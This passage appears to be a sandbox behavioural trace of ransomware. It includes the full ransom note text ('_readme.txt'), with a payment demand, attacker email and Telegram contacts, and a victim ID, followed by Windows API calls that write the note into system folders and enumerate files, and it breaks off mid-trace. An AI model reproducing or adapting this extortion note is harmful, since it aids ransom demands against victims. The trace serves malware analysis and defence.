you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62" [0112.654] CreateFileW (lpFileName="C:\\Boot\\pl-PL\\_readme.txt" (normalized: "c:\\boot\\pl-pl\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0112.654] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3307758 | out: hHeap=0x660000) returned 1 [0112.654] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f120 | out: hHeap=0x660000) returned 1 [0112.654] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.654] FindFirstFileW (in: lpFileName="C:\\Boot\\pl-PL\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0112.655] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.655] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.655] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0112.655] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0112.655] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0112.655] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.655] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba300 | out: hHeap=0x660000) returned 1 [0112.655] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.655] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.655] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.655] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.655] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.655] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.655] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.655] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.655] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.655] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.655] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.655] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.655] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.655] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.655] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.655] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.655] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.655] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.655] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.655] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.655] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.655] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.656] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.656] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.656] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.656] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.656] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.656] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0112.656] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.656] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.656] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.656] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.656] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.656] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.656] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.656] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.656] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.656] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.656] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.656] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.656] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.656] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.656] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.656] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.656] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.656] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.656] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.656] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.656] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.656] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.656] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.656] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.656] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.656] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.656] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.656] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.656] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.657] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.657] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.657] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.657] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.657] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.657] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.657] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.657] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.657] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.657] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.657] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.657] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.657] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.657] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.657] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.657] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.657] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.657] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.657] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.657] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.657] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.657] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.657] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.657] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.657] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.657] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.657] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.657] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.657] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.657] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.657] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.657] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.657] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.657] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.657] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.657] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.658] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.658] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.658] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.658] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.658] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.658] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.658] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.658] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.658] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.658] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.658] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0112.658] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.658] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.658] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.658] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.658] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.658] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.658] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.658] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.658] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.658] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.658] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.658] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.658] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.658] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.658] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.658] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.658] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.658] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.658] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.658] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.658] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.659] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.659] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.659] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.659] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.659] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.659] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.659] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.659] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.659] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.659] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.659] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.659] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.659] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.659] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.659] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.659] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.659] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.659] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.659] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.659] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.659] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.659] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.659] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.659] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.659] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.659] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.659] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.659] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.659] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.659] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.659] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.659] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.659] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.659] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.660] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.660] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.660] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.660] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.660] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.660] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.660] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.660] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.660] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.660] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.660] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.660] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.660] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.660] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.660] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.660] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.660] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.660] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.660] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.660] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.660] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.660] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.660] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.660] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.660] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.660] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.660] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.660] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.660] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.660] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.660] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.660] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.660] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.660] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.660] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.661] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.661] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.661] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.661] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.661] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.661] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.661] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.661] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.661] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.661] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.661] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.661] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.661] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.661] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.661] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.661] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 